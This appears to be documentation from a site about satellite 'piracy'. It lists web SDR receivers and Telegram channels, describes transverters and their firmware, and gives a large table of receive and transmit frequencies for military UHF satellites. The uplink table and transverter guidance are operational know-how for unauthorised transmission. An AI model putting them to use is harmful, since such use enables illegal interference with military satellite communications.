19 | Verifica el [foro VRTP](https://vrtp.ru/index.php?showtopic=33914&st=60) para las saber las ultimas novedades.
20 |
21 | ### Fuentes:
22 |
23 | [Telegram](https://t.me/Zaston_M7_Pirates)
24 | [Telegram](https://t.me/zastone8)
25 | [Zastone info website](https://telegra.ph/Instrukciya-programmirovaniya-Zastone-UV008-v3-s-AES256-04-03)
26 |
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/docs/es/sdr.md:
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1 | # Web SDR
2 |
3 | Hay algunos sitios que te permiten recibir frecuencias de satcom a través de internet.
4 | Los piratas las usan para comprobar si llegan al satélite o para escuchar las transmisiones en caso de que su antena sea sorda
5 |
6 | Hay que tener en cuenta que dependiendo de donde se encuentre el SDR solo oirá los satélites que sean alcanzables
7 |
8 | [Rikmotik (Crimea) SDR](https://rikmotik.ru/#freq=253650000,mod=nfm,sql=-22)
9 | [Spain (La contraseña esta en nuestro telegram)](https://p3t3.ddns.me/)
10 | [Blumenau (Brazil) SDR](http://jorsan142.mycrestron.com:8073)
11 | [Saltonet (Brazil) SDR](http://sdr.saltonet.inf.br:8073/#freq=29250000,mod=am,sql=-150)
12 | [Wessex (UK)](http://wessex.hopto.org:8060/)
13 | [Germany](http://raveheart.goip.de:8073/#freq=10136000,mod=usb,secondary_mod=ft8,sql=-150)
14 | [Budapest](https://rx.satcom.keenetic.name/#freq=1535000000,mod=nfm,sql=-150)
15 | [Gudynas (Lithuania) SDR](https://sdr.gudynas.lt/#freq=146400000,mod=nfm,sql=-150)
16 | [Webradio (Russia) SDR 1](http://webradio.sytes.net:8080)
17 | [Webradio (Russia) SDR 2](http://webradio.sytes.net:8081)
18 | [Meridian](http://sa2kng.ddns.net:8073/#freq=483749000,mod=nfm,sql=-150)
19 | [Satcomdv (Russia **Pacific**) SDR](http://satcomdv.chickenkiller.com/#freq=257149996,mod=nfm,sql=-150)
20 |
21 | Si se desea encontrar otros SDRs en el [mapa del sitio web de los receptores de SDR](https://rx-tx.info/map-sdr-points) puede ser de gran ayuda.
22 |
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/docs/es/telegram.md:
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1 | # Telegram
2 |
3 | Listado de foros, telegrams y enlaces interesantes.
4 |
5 | [Canal de este sitio web](https://t.me/satcom_radio)
6 |
7 | -----
8 |
9 | [Principal foro ruso de Satcom](https://vrtp.ru/index.php?showforum=194)
10 | [Canal UV-K5 en inglés](https://t.me/quansheng_uvk5_en_dev)
11 |
12 | -----
13 |
14 | Hay muchos canales rusos de satcom en telegram, puedes buscarlos utilizando el buscador de telegram y unirte a ellos bajo tu propia responsabilidad, pero nunca des información personal.
15 |
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/docs/es/transverters/index.md:
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1 | # Transversores
2 |
3 | Los transversores funcionan cambiando la gama de frecuencias que el transmisor puede recibir y transmitir.
4 |
5 | # Transversor UR3LMZ
6 |
7 | Alexander [ur3lmz](mailto:ur3lmz@gmail.com) vende un transversor muy bueno y dependiendo del modelo, tiene una frecuencia de entrada en VHF o en UHF.
8 |
9 |
10 |
11 |
12 | La única diferencia entre la versión UHF y la VHF son las frecuencias programadas en el ADF4351 y la bobina L1.
13 |
14 |
15 |
16 |
17 | La potencia de entrada es de alrededor de 2W y la salida está entre 12-13W mientras se alimenta con 12v DC
18 | Dependiendo de la versión la frecuencia es 200Mhz más baja (455Mhz -> 255mhz) o 100 Mhz más alta (155mhz -> 255mhz)
19 |
20 | Finalmente con el selector en la parte frontal se elige el Tx Offset (se puede cambiar cuando encargas el transverter)
21 |
22 | 1. 33.6Mhz
23 | 2. 41Mhz
24 | 3. 47.225Mhz
25 |
26 | En la parte trasera hay 3 conectores BNC. Uno para conectar el transmisor, el del medio para conectar una antena UHV/VHF estándar que se utilizará
27 | cuando el transversor esté apagado y el último para conectar una antena Satcom.
28 |
29 | ```
30 | Por ejemplo si tienes la versión UHF y estás en frecuencia RX y Tx = 455.50mhz con el selector en la posición 2
31 |
32 | Frecuencia Rx = 255.50mhz
33 | Frecuencia Tx = 296.55mhz (255.50 + 41)
34 | ```
35 |
36 | La frecuencia es controlada por el chip ADF4351 mediante un attiny13
37 |
38 |
39 |
40 |
41 | En caso de que quieras tener los siguientes offsets:
42 | 1. 33.6Mhz
43 | 2. 41Mhz
44 | 3. 0 (TX=RX)
45 |
46 | Puedes usar el siguiente [firmware](https://satcomradio.github.io/_files/sint13.hex) y subirlo mediante una
47 | [arduino](https://ecetechprojects.wordpress.com/2011/08/06/arduino-upload-hex-files-to-attiny85-using-your-arduino-and-avrdude/)
48 | al attiny13 del controlador de frecuencia (solo para la version UHF).
49 |
50 | También puedes modificar las frecuencias del transverter mediante una Arduino tal y como se explica en [este repositorio](https://github.com/gavazquez/TransverterControl)
51 |
52 | # Transversor R1ZH
53 |
54 | Puede encontrar más información sobre este transversor (en ruso) [aquí](http://r1zh.ru/satcom3/satcom3.htm)
55 |
56 |
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/docs/favicon.ico:
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/docs/favicon.png:
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/docs/freq.md:
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1 | # Frequencies
2 |
3 | Here you have a table with most of the frequencies with their offset.
4 | Bear in mind that different satellites have different frequencies so some of them may not be visible from your location.
5 | In some frequencies the uplink frequency has not been found. You can send me an [email](satcomradioham@gmail.com) if you want to add it.
6 | All the frequencies have been tested with [Rikmotik SDR](https://rikmotik.ru/#freq=253650000,mod=nfm,sql=-22) or [Gudynas SDR](https://sdr.gudynas.lt/#freq=146400000,mod=nfm,sql=-150)
7 |
8 | | Rx | Tx | Offset | Satellite | Width | Notes |
9 | | ------- | ------- | ------ | ------------ | ------ | ------------------------------- |
10 | | 243.625 | 300.400 | 56.775 | Comsat BW2 | 30 khz | |
11 | | 243.625 | 316.725 | 73.100 | UFO 11 | 30 khz | |
12 | | 243.800 | 298.200 | 54.400 | Intelsat 22 | 30 khz | |
13 | | 243.915 | 317.015 | 73.100 | UFO 11 | 30 khz | |
14 | | 243.935 | 317.035 | 73.100 | UFO 11 | 6 khz | |
15 | | 243.945 | 317.045 | 73.100 | UFO 11 | 6 khz | |
16 | | 243.955 | 317.055 | 73.100 | UFO 11 | 6 khz | |
17 | | 243.965 | 317.065 | 73.100 | UFO 11 | 6 khz | |
18 | | 243.975 | 317.075 | 73.100 | UFO 11 | 6 khz | |
19 | | 243.985 | 317.085 | 73.100 | UFO 11 | 6 khz | Beacon 5s |
20 | | 243.990 | 317.090 | 73.100 | FLT 8 | 6 khz | |
21 | | 244.995 | 317.095 | 72.100 | FLT 8 | 6 khz | |
22 | | 244.000 | 317.100 | 73.100 | FLT 8 | 6 khz | |
23 | | 244.030 | 317.170 | 73.140 | UFO 11 | 6 khz | |
24 | | 244.040 | 317.230 | 73.190 | UFO 11 | 6 khz | |
25 | | 244.050 | 317.240 | 73.190 | UFO 11 | 6 khz | |
26 | | 244.060 | 317.210 | 73.150 | UFO 11 | 6 khz | |
27 | | 244.090 | 317.190 | 73.100 | UFO 11 | 6 khz | |
28 | | 244.115 | 317.215 | 73.100 | UFO 11 | 6 khz | |
29 | | 244.155 | 317.255 | 73.100 | UFO 11 | 6 khz | |
30 | | 244.165 | 317.265 | 73.100 | UFO 11 | 6 khz | |
31 | | 244.175 | 317.275 | 73.100 | UFO 11 | 6 khz | |
32 | | 244.185 | 317.285 | 73.100 | UFO 11 | 6 khz | |
33 | | 244.195 | 317.295 | 73.100 | UFO 11 | 6 khz | |
34 | | 244.205 | 317.305 | 73.100 | UFO 11 | 6 khz | |
35 | | 244.225 | 317.325 | 73.100 | UFO 11 | 30 khz | |
36 | | 244.275 | 301.025 | 56.750 | Comsat BW1 | 30 khz | |
37 | | 244.975 | 293.000 | 48.025 | Skynet 4C | 30 khz | |
38 | | 245.200 | 314.450 | 69.250 | UFO 10 | 30 khz | |
39 | | 245.800 | 309.410 | 63.610 | Skynet 5C | 30 khz | RU |
40 | | 245.850 | 314.230 | 68.380 | Skynet 5A | 30 khz | |
41 | | 245.950 | 313.000 | 67.050 | Skynet 5D | 30 khz | |
42 | | 246.250 | 295.600 | 49.350 | Skynet 4C | 30 khz | |
43 | | 246.700 | 297.700 | 51.000 | Skynet 4C | 30 khz | |
44 | | 247.450 | 298.800 | 51.350 | Skynet 5D | 30 khz | RU |
45 | | 248.450 | 298.950 | 50.500 | Skynet 4C? | 30 khz | |
46 | | 248.750 | 306.900 | 58.150 | Comsat BW2 | 30 khz | |
47 | | 248.825 | 294.375 | 45.550 | UFO 11 | 30 khz | |
48 | | 248.845 | 302.445 | 53.600 | UFO 11 | 6 khz | |
49 | | 248.855 | 302.455 | 53.600 | UFO 11 | 6 khz | |
50 | | 248.865 | 302.465 | 53.600 | UFO 11 | 6 khz | |
51 | | 248.875 | 302.475 | 53.600 | UFO 11 | 6 khz | |
52 | | 248.885 | 302.485 | 53.600 | UFO 11 | 6 khz | |
53 | | 248.895 | 302.495 | 53.600 | UFO 11 | 6 khz | |
54 | | 248.905 | 302.505 | 53.600 | UFO 11 | 6 khz | |
55 | | 248.915 | 302.515 | 53.600 | UFO 11 | 6 khz | |
56 | | 248.945 | 302.545 | 53.600 | UFO 11 | 6 khz | |
57 | | 248.955 | 302.555 | 53.600 | UFO 11 | 6 khz | |
58 | | 248.965 | 302.565 | 53.600 | UFO 11 | 6 khz | |
59 | | 248.975 | 302.575 | 53.600 | UFO 7 | 6 khz | |
60 | | 248.985 | 302.585 | 53.600 | UFO 7 | 6 khz | |
61 | | 248.990 | 302.525 | 53.535 | UFO 11 | 6 khz | |
62 | | 248.995 | 302.595 | 53.600 | UFO 7 | 6 khz | |
63 | | 249.000 | 302.600 | 53.600 | UFO 11 | 6 khz | |
64 | | 249.005 | 302.605 | 53.600 | UFO 7 | 6 khz | |
65 | | 249.015 | 302.615 | 53.600 | UFO 7 | 6 khz | |
66 | | 249.025 | 302.625 | 53.600 | UFO 7 | 6 khz | |
67 | | 249.035 | 302.635 | 53.600 | UFO 7 | 6 khz | |
68 | | 249.045 | 302.645 | 53.600 | UFO 7 | 6 khz | |
69 | | 249.050 | 302.650 | 53.600 | UFO 11 | 6 khz | |
70 | | 249.055 | 302.655 | 53.600 | UFO 7 | 6 khz | |
71 | | 249.065 | 302.665 | 53.600 | UFO 7 | 6 khz | |
72 | | 249.075 | 302.675 | 53.600 | UFO 7 | 6 khz | |
73 | | 249.085 | 302.685 | 53.600 | UFO 7 | 6 khz | |
74 | | 249.095 | 302.695 | 53.600 | UFO 7 | 6 khz | |
75 | | 249.100 | 302.700 | 53.600 | UFO 11 | 6 khz | |
76 | | 249.105 | 302.705 | 53.600 | UFO 10 | 6 khz | |
77 | | 249.115 | 302.715 | 53.600 | UFO 10 | 6 khz | |
78 | | 249.125 | 302.725 | 53.600 | UFO 10 | 6 khz | |
79 | | 249.135 | 302.735 | 53.600 | UFO 10 | 6 khz | |
80 | | 249.145 | 302.745 | 53.600 | UFO 10 | 6 khz | |
81 | | 249.155 | 302.755 | 53.600 | UFO 10 | 6 khz | |
82 | | 249.165 | 302.765 | 53.600 | UFO 10 | 6 khz | |
83 | | 249.175 | 302.775 | 53.600 | UFO 10 | 6 khz | |
84 | | 249.185 | 302.785 | 53.600 | UFO 10 | 6 khz | |
85 | | 249.195 | 302.795 | 53.600 | UFO 10 | 6 khz | |
86 | | 249.205 | 302.805 | 53.600 | UFO 10 | 6 khz | |
87 | | 249.215 | 302.815 | 53.600 | UFO 10 | 6 khz | |
88 | | 249.225 | 302.825 | 53.600 | UFO 10 | 6 khz | |
89 | | 249.250 | 302.850 | 53.600 | UFO 10 | 6 khz | |
90 | | 249.235 | 302.835 | 53.600 | UFO 11 | 6 khz | |
91 | | 249.245 | 302.845 | 53.600 | UFO 11 | 6 khz | |
92 | | 249.255 | 302.855 | 53.600 | UFO 11 | 6 khz | |
93 | | 249.265 | 302.865 | 53.600 | UFO 11 | 6 khz | |
94 | | 249.275 | 302.875 | 53.600 | UFO 11 | 6 khz | |
95 | | 249.285 | 302.885 | 53.600 | UFO 11 | 6 khz | |
96 | | 249.295 | 302.895 | 53.600 | UFO 11 | 6 khz | |
97 | | 249.300 | 302.900 | 53.600 | UFO 10 | 6 khz | |
98 | | 249.305 | 302.905 | 53.600 | UFO 11 | 6 khz | |
99 | | 249.315 | 302.915 | 53.600 | UFO 11 | 6 khz | |
100 | | 249.325 | 302.925 | 53.600 | UFO 11 | 6 khz | |
101 | | 249.335 | 302.935 | 53.600 | UFO 11 | 6 khz | |
102 | | 249.345 | 302.945 | 53.600 | UFO 11 | 6 khz | |
103 | | 249.350 | 302.950 | 53.600 | UFO 10 | 6 khz | |
104 | | 249.355 | 302.955 | 53.600 | UFO 11 | 6 khz | |
105 | | 249.400 | 300.975 | 51.575 | Comsat BW1 | 30 khz | |
106 | | 249.450 | 312.750 | 63.300 | Skynet 5C | 30 khz | Brazil |
107 | | 249.490 | 312.850 | 63.360 | Skynet 5B | 30 khz | |
108 | | 249.530 | 298.800 | 49.270 | Skynet 5C | 30 khz | Brazil |
109 | | 249.560 | 298.760 | 49.200 | Skynet 5B | 6 khz | |
110 | | 249.570 | ? | ? | Skynet 5B | 6 khz | |
111 | | 249.580 | 298.740 | 49.160 | Skynet 5B | 6 khz | |
112 | | 249.800 | 295.000 | 45.200 | Skynet 4C | 30 khz | |
113 | | 249.890 | 300.500 | 50.610 | Skynet 5D | 30 khz | |
114 | | 249.930 | 308.750 | 58.820 | Skynet 5B | 30 khz | |
115 | | 250.050 | ? | ? | Skynet 5B | 6 khz | |
116 | | 250.090 | 312.600 | 62.510 | Skynet 5B | 30 khz | |
117 | | 250.200 | 313.950 | 63.750 | Skynet 5C | 30 khz | |
118 | | 250.350 | 294.875 | 44.525 | ? | 30 khz | |
119 | | 250.700 | 295.050 | 44.350 | UFO 11 | 30 khz | |
120 | | 250.900 | 308.300 | 57.400 | Comsat BW2 | 30 khz | |
121 | | 250.950 | 299.500 | 48.550 | Skynet 5B | 30 khz | |
122 | | 251.575 | 308.450 | 56.875 | ? | 30 khz | |
123 | | 251.600 | 298.225 | 46.625 | Intelsat 22 | 30 khz | |
124 | | 251.850 | 292.850 | 41.000 | UFO 11 | 30 khz | |
125 | | 251.950 | 292.950 | 41.000 | UFO 10 | 30 khz | Brazil |
126 | | 252.050 | 293.050 | 41.000 | UFO 10 | 30 khz | Brazil |
127 | | 252.150 | 293.150 | 41.000 | Intelsat 22 | 30 khz | |
128 | | 252.200 | 315.250 | 63.050 | Sicral 2 | 30 khz | |
129 | | 252.250 | 316.350 | 64.100 | Sicral 2 | 30 khz | |
130 | | 252.300 | 293.300 | 41.000 | Intelsat 22 | 30 khz | |
131 | | 252.350 | 310.225 | 57.875 | Sicral 1B | 30 khz | |
132 | | 252.400 | 293.275 | 40.875 | Sicral 1B | 30 khz | |
133 | | 252.450 | 309.750 | 57.300 | Sicral 1B | 30 khz | |
134 | | 252.500 | 309.800 | 57.300 | Sicral 1B | 30 khz | |
135 | | 252.550 | 293.200 | 40.650 | Sicral 1B | 30 khz | |
136 | | 252.625 | 311.450 | 58.825 | Sicral 1B | 30 khz | |
137 | | 252.750 | 306.300 | 53.550 | Skynet 5B | 30 khz | |
138 | | 253.300 | 307.800 | 54.500 | Skynet 5B | 30 khz | |
139 | | 253.550 | 294.550 | 41.000 | UFO11 | 30 khz | |
140 | | 253.600 | 316.250 | 62.650 | Sicral 2? | 30 khz | Not sicral 2. UFO10? Skynet 5C? |
141 | | 253.625 | 296.000 | 42.375 | UFO 11 | 30 khz | |
142 | | 253.650 | 294.650 | 41.000 | UFO 2? | 30 khz | |
143 | | 253.675 | 294.425 | 40.750 | | 30 khz | |
144 | | 253.725 | 294.450 | 40.725 | Intelsat 22 | 30 khz | |
145 | | 253.750 | 294.750 | 41.000 | UFO 10 | 30 khz | Brazil |
146 | | 253.825 | 294.050 | 40.225 | Skynet 5C | 30 khz | |
147 | | 253.850 | 294.850 | 41.000 | UFO 10 | 30 khz | Brazil/German |
148 | | 253.900 | 307.500 | 53.600 | Skynet 5C | 30 khz | Noise |
149 | | 253.950 | 312.800 | 58.850 | Skynet 5D | 30 khz | |
150 | | 253.975 | 294.975 | 41.000 | Intelsat 22 | 6 khz | |
151 | | 254.000 | 298.630 | 44.630 | UFO 11 | 30 khz | |
152 | | 254.025 | 295.025 | 41.000 | Intelsat 22 | 6 khz | |
153 | | 254.200 | | | | | |
154 | | 254.500 | 308.100 | 53.600 | Intelsat 22 | 6 khz | |
155 | | 254.530 | 308.130 | 53.600 | Intelsat 22 | 6 khz | |
156 | | 254.625 | 295.625 | 41.000 | Intelsat 22 | 6 khz | |
157 | | 254.730 | 312.550 | 57.820 | Skynet 5D | 30 khz | |
158 | | 254.775 | 317.825 | 63.050 | Comsat BW2 | 30 khz | DMR |
159 | | 255.000 | | | | | Brazil |
160 | | 255.100 | 318.175 | 63.075 | Sicral 2? | 30 khz | |
161 | | 255.250 | 296.250 | 41.000 | UFO 11 | 30 khz | |
162 | | 255.275 | 297.400 | 42.125 | | 30 khz | |
163 | | 255.350 | 296.350 | 41.000 | UFO 2 | 30 khz | RU |
164 | | 255.450 | 296.450 | 41.000 | UFO 10? | 30 khz | Brazil |
165 | | 255.650 | 296.650 | 41.000 | Intelsat 22 | 6 khz | |
166 | | 255.675 | 296.675 | 41.000 | Intelsat 22 | 30 khz | |
167 | | 255.775 | 309.300 | 53.525 | Comsat BW1 | 30 khz | |
168 | | 255.850 | 296.850 | 41.000 | Intelsat 22 | 6 khz | |
169 | | 256.450 | 313.850 | 57.400 | Skynet 5D | 30 khz | |
170 | | 256.650 | 311.700 | 55.050 | ? | 30 khz | |
171 | | 256.850 | 297.850 | 41.000 | UFO 11 | 30 khz | |
172 | | 256.875 | 293.950 | 37.075 | Skynet 5C | 30 khz | Beacon |
173 | | 256.950 | 297.950 | 41.000 | UFO 2 | 30 khz | |
174 | | 256.975 | 316.850 | 59.875 | Intelsat 22 | 30 khz | |
175 | | 257.050 | 298.050 | 41.000 | UFO 10 | 30 khz | Brazil |
176 | | 257.075 | 297.450 | 40.375 | ? | 30 khz | |
177 | | 257.150 | 298.150 | 41.000 | FLT 8 | 30 khz | Beacon (Alarm) |
178 | | 257.175 | 298.125 | 40.950 | UFO 11 | 30 khz | |
179 | | 257.200 | 308.800 | 51.600 | UFO/Sicral 2 | 30 khz | |
180 | | 257.250 | 316.900 | 59.650 | UFO/Sicral 2 | 30 khz | Spanish |
181 | | 257.300 | 309.725 | 52.425 | UFO/Sicral 2 | 30 khz | |
182 | | 257.350 | 307.200 | 49.850 | UFO/Sicral 2 | 30 khz | |
183 | | 257.450 | 305.950 | 48.500 | Skynet 5C | 30 khz | Spanish/Romanian |
184 | | 257.500 | 311.350 | 53.850 | UFO 10 | 30 khz | Brazil |
185 | | 257.600 | 305.950 | 48.350 | Skynet 5A | 30 khz | |
186 | | 257.700 | 316.150 | 58.450 | Skynet 4E | 30 khz | |
187 | | 257.750 | 308.400 | 50.650 | Skynet 4C | 30 khz | 257.755 Ita |
188 | | 257.775 | 311.375 | 53.600 | Intelsat 22? | 30 khz | |
189 | | 257.825 | 297.075 | 39.250 | Skynet 5C | 30 khz | |
190 | | 258.225 | 299.3 | 41.075 | UFO 2 | 30 khz | DMR in 258.215 |
191 | | 258.350 | 299.350 | 41.000 | UFO 11 | 30 khz | |
192 | | 258.450 | 299.450 | 41.000 | UFO 2 | 30 khz | Spanish |
193 | | 258.500 | 299.500 | 41.000 | UFO 11 | 30 khz | |
194 | | 258.550 | 299.550 | 41.000 | UFO 10 | 30 khz | Brazil |
195 | | 258.600 | 294.825 | 36.225 | ? | 30 khz | Buzzer tone |
196 | | 258.650 | 299.650 | 41.000 | UFO 11 | 30 khz | DMR |
197 | | 258.700 | 312.900 | 54.200 | Skynet 4C | 30 khz | |
198 | | 258.950 | | | | | |
199 | | 259.000 | 317.925 | 58.925 | Comsat BW2 | 30 khz | |
200 | | 259.050 | 307.45 | 48.400 | Comsat BW1 | 30 khz | Buzzer tone |
201 | | 259.975 | 309.7 | 49.725 | Sicral 1B | 30 khz | |
202 | | 260.025 | 293.250 | 33.225 | Sicral 1B | 30 khz | Buzzer tone |
203 | | 260.075 | 310.275 | 50.200 | Sicral 1B | 30 khz | |
204 | | 260.125 | 310.125 | 50.000 | Sicral 1B | 30 khz | DMR |
205 | | 260.175 | 309.875 | 49.700 | Sicral 1B | 30 khz | |
206 | | 260.250 | 314.400 | 54.150 | Skynet 5B | 30 khz | |
207 | | 260.375 | 293.975 | 33.600 | UFO 11 | 30 khz | |
208 | | 260.425 | 294.025 | 33.600 | UFO 10 | 30 khz | Brazil |
209 | | 260.450 | 297.575 | 37.125 | UFO 11 | 30 khz | |
210 | | 260.475 | 294.075 | 33.600 | UFO 11 | 30 khz | |
211 | | 260.500 | 317.130 | 56.630 | UFO 11 | 6 khz | |
212 | | 260.525 | 294.125 | 33.600 | UFO 10 | 30 khz | Brazil |
213 | | 260.550 | 293.800 | 33.250 | Intelsat 22 | 30 khz | |
214 | | 260.575 | 294.175 | 33.600 | UFO 10 | 30 khz | Brazil |
215 | | 260.625 | 294.225 | 33.600 | UFO 11 | 30 khz | |
216 | | 260.650 | 297.100 | 36.450 | ? | 30 khz | |
217 | | 260.675 | 294.275 | 33.600 | UFO 10 | 30 khz | Brazil |
218 | | 260.725 | 294.325 | 33.600 | UFO 11 | 30 khz | UFO 4 |
219 | | 260.900 | 313.050 | 52.150 | Skynet 5D | 30 khz | |
220 | | 260.950 | 299.400 | 38.450 | UFO 7 | 30 khz | Brazil |
221 | | 261.100 | 298.700 | 37.600 | Skynet 5A | 30 khz | DMR |
222 | | 261.200 | 294.950 | 33.750 | Skynet 5B | 30 khz | Italian |
223 | | 261.400 | 316.550 | 55.150 | Skynet 4C | 30 khz | |
224 | | 261.575 | 295.175 | 33.600 | UFO 11 | 30 khz | |
225 | | 261.600 | 306.975 | 45.375 | Intelsat 22 | 30 khz | |
226 | | 261.625 | 295.225 | 33.600 | UFO 10 | 30 khz | Brazil |
227 | | 261.650 | 309.650 | 48.000 | Intelsat 22 | 30 khz | |
228 | | 261.675 | 295.275 | 33.600 | UFO 11 | 30 khz | |
229 | | 261.700 | 296.525 | 34.825 | UFO 11 | 30 khz | |
230 | | 261.725 | 295.325 | 33.600 | UFO 10 | 30 khz | Brazil |
231 | | 261.775 | 295.375 | 33.600 | UFO 11 | 30 khz | |
232 | | 261.800 | ? | ? | ? | 30 khz | |
233 | | 261.825 | 295.425 | 33.600 | UFO 10 | 30 khz | Alarm |
234 | | 261.850 | 300.275 | 38.425 | Intelsat 22 | 30 khz | |
235 | | 261.875 | 295.475 | 33.600 | UFO 11 | 30 khz | |
236 | | 261.900 | 316.825 | 54.925 | ? | 30 khz | |
237 | | 261.925 | 295.525 | 33.600 | UFO 10 | 30 khz | Brazil. Old 296.925 |
238 | | 261.950 | 294.625 | 32.675 | UFO 11 | 30 khz | |
239 | | 261.975 | 294.000 | 32.025 | UFO 11 | 30 khz | |
240 | | 262.000 | 314.200 | 52.200 | Skynet 5D | 30 khz | |
241 | | 262.025 | 316.650 | 54.625 | Intelsat 22? | 30 khz | |
242 | | 262.075 | 295.675 | 33.600 | UFO 10 | 30 khz | Brazil |
243 | | 262.175 | 295.775 | 33.600 | UFO7 | 30 khz | Brazil |
244 | | 262.275 | 300.275 | 38.000 | UFO7 | 30 khz | Brazil |
245 | | 262.300 | 295.900 | 33.600 | FLT 8 | 30 khz | |
246 | | 262.375 | 295.975 | 33.600 | UFO 10 | 30 khz | Brazil |
247 | | 263.400 | 316.400 | 53.000 | Skynet 5B | 30 khz | |
248 | | 263.450 | 311.400 | 47.950 | Skynet 5B | 30 khz | |
249 | | 263.500 | 315.200 | 51.700 | Skynet 5B | 30 khz | |
250 | | 263.575 | 297.175 | 33.600 | UFO 11 | 30 khz | |
251 | | 263.600 | 317.140 | 53.540 | UFO 11 | 6 khz | |
252 | | 263.650 | 295.075 | 31.425 | UFO 10 | 30 khz | Brazil |
253 | | 263.675 | 297.275 | 33.600 | UFO 11 | 30 khz | |
254 | | 263.700 | 295.125 | 31.425 | UFO 10 | 30 khz | Brazil |
255 | | 263.725 | 298.525 | 34.800 | UFO 11 | 30 khz | |
256 | | 263.750 | 317.150 | 53.400 | UFO 11 | 6 khz | |
257 | | 263.775 | 297.375 | 33.600 | UFO 2 | 30 khz | |
258 | | 263.800 | 297.250 | 33.450 | UFO 11 | 30 khz | |
259 | | 263.825 | 297.425 | 33.600 | UFO 11 | 30 khz | |
260 | | 263.875 | 297.475 | 33.600 | UFO 2 | 30 khz | Ukraine |
261 | | 263.925 | 297.525 | 33.600 | UFO 11 | 30 khz | |
262 | | 265.250 | 306.250 | 41.000 | UFO 11 | 30 khz | |
263 | | 265.325 | 295.100 | 29.775 | UFO 11 | 30 khz | |
264 | | 265.350 | 306.345 | 41.000 | UFO 10 | 30 khz | Brazil |
265 | | 265.375 | 295.200 | 29.825 | UFO 11 | 30 khz | |
266 | | 265.450 | 306.450 | 41.000 | UFO 10 | 30 khz | |
267 | | 265.475 | 295.500 | 30.025 | UFO 11 | 30 khz | |
268 | | 265.550 | 306.550 | 41.000 | UFO 11 | 30 khz | |
269 | | 265.675 | 306.675 | 41.000 | Intelsat 22 | 30 khz | |
270 | | 265.850 | 306.850 | 41.000 | Intelsat 22 | 30 khz | |
271 | | 266.750 | 316.575 | 49.825 | UFO 11 | 30 khz | |
272 | | 266.850 | 307.850 | 41.000 | UFO 10 | 30 khz | |
273 | | 266.950 | 307.950 | 41.000 | UFO 10 | 30 khz | |
274 | | 266.975 | 297.500 | 30.525 | UFO 11 | 30 khz | |
275 | | 267.050 | 308.050 | 41.000 | Intelsat 22 | 30 khz | |
276 | | 267.100 | 308.100 | 41.000 | Sicral 2 | 30 khz | |
277 | | 267.150 | 308.150 | 41.000 | Sicral 2 | 30 khz | |
278 | | 267.200 | 308.200 | 41.000 | Sicral 2 | 30 khz | |
279 | | 267.250 | 308.250 | 41.000 | Sicral 2 | 30 khz | |
280 | | 267.400 | 294.900 | 27.500 | UFO 11 | 30 khz | |
281 | | 267.575 | 297.625 | 30.050 | UFO 11 | 30 khz | |
282 | | 267.875 | 310.375 | 42.500 | Sicral 1B | 30 khz | |
283 | | 267.950 | 310.075 | 42.125 | Sicral 1B | 30 khz | |
284 | | 268.000 | 310.5 | 42.500 | Sicral 1B | 30 khz | Czech |
285 | | 268.050 | 309.95 | 41.900 | Sicral 1B | 30 khz | Czech |
286 | | 268.100 | 293.325 | 25.225 | Sicral 1B | 30 khz | |
287 | | 268.150 | 309.150 | 41.000 | UFO 11 | 30 khz | |
288 | | 268.200 | 296.050 | 27.850 | UFO 11 | 30 khz | |
289 | | 268.250 | 309.250 | 41.000 | UFO 10 | 30 khz | Brazil |
290 | | 268.350 | 309.350 | 41.000 | UFO 10 | 30 khz | |
291 | | 268.450 | 297.150 | 28.700 | UFO 11 | 30 khz | |
292 | | 268.950 | ? | ? | ? | 30 khz | |
293 | | 269.650 | 302.425 | 32.775 | UFO 11 | 30 khz | |
294 | | 269.725 | 295.150 | 25.425 | UFO 11 | 30 khz | |
295 | | 269.750 | 310.750 | 41.000 | UFO 10 | 30 khz | |
296 | | 269.850 | 310.850 | 41.000 | UFO 10 | 30 khz | Brazil |
297 | | 269.925 | 295.550 | 25.625 | UFO 11 | 30 khz | |
298 | | 269.950 | 310.950 | 41.000 | UFO 11 | 30 khz | |
299 |
300 |
301 | --------
302 |
303 | Last Update: 01/06/2025
304 |
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